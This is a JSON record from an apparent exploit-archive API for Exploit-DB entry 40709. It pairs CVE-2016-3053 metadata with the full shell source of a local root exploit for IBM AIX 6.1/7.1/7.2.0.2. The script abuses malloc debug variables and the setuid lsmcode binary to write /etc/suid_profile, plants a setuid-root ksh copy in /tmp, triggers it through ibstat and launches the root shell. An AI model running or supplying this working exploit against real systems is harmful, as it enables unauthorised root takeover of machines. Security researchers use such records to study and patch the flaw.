{"exploit":{"id":"EDB-40709","name":"IBM AIX 6.1/7.1/7.2.0.2 - 'lsmcode' Local Privilege Escalation (LPE)","description":"IBM AIX 6.1/7.1/7.2.0.2 - 'lsmcode' Local Privilege Escalation (LPE)","cves":["CVE-2016-3053"],"author":"Hector X. Monsegur","published":"2016-11-04","platform":"aix","type":"local","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40709","path":"exploits/aix/local/40709.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40709.sh","vulnerabilities":[{"id":"CVE-2016-3053","state":"PUBLISHED","title":null,"titleSource":null,"description":"IBM AIX contains an unspecified vulnerability that would allow a locally authenticated user to obtain root level privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-3053","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-3053"},"updatedAt":"2024-08-05T23:40:15.091Z","retrievedAt":"2026-11-26T18:11:00.661Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40709.png?v=2","url":"https://exploitbin.com/exploits/EDB-40709","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40709/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40709/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/sh\n#\n# AIX lsmcode local root exploit.\n#\n# Affected: AIX 6.1/7.1/7.2.0.2\n#\n# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/\n#\n# lqueryroot.sh by @hxmonsegur [2016 //RSL]\n\nROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')\n\nif [ ! -x \"/usr/sbin/lsmcode\" ]; then\n    echo \"[-] lsmcode isn't executable. Exploit failed.\"\n    exit 1\nfi\n\necho \"[*] [lsmcode] AIX 6.1/7.1/7.2.0.2 Privilege escalation by @hxmonsegur //RSL\"\necho \"[*] Current id: `/usr/bin/id`\"\necho \"[*] Exporting variables\"\n\nMALLOCOPTIONS=buckets\nMALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile\nexport MALLOCOPTIONS MALLOCBUCKETS\n\necho \"[*] Setting umask to 000\"\numask 000\n\necho \"[*] Executing vulnerable binary [lsmcode]\"\n/usr/sbin/lsmcode -c >/dev/null 2>&1\n\nif [ ! -e \"/etc/suid_profile\" ]; then\n    echo \"[-] /etc/suid_profile does not exist and exploit failed.\"\n    exit 1\nfi\n\necho \"[*] Cleaning up /etc/suid_profile\"\necho > /etc/suid_profile\n\necho \"[*] Preparing escalation\"\ncat << EOF >/etc/suid_profile\ncp /bin/ksh $ROOTSHELL\n/usr/bin/syscall setreuid 0 0\nchown root:system $ROOTSHELL\nchmod 6755 $ROOTSHELL\nrm /etc/suid_profile\nEOF\n\necho \"[*] Cleaning up environment variables\"\nunset MALLOCBUCKETS MALLOCOPTIONS\n\necho \"[*] Escalating\"\n/usr/bin/ibstat -a >/dev/null 2>&1\n\nif [ ! -e \"$ROOTSHELL\" ]; then\n    echo \"[-] Rootshell does not exist and exploit failed.\"\n    exit 1\nfi\n\necho \"[*] Executing rootshell\"\n$ROOTSHELL\necho \"[*] Make sure to remove $ROOTSHELL\"","sha256":"bbac1b3259b57a435e0c40dcc74ce2bf9fd8996bb8346afc7983efa1ef369dc3","bytes":1550,"fetchedAt":"2026-11-26T18:10:56.600Z","encoding":"utf-8 (display only; download retains original bytes)"}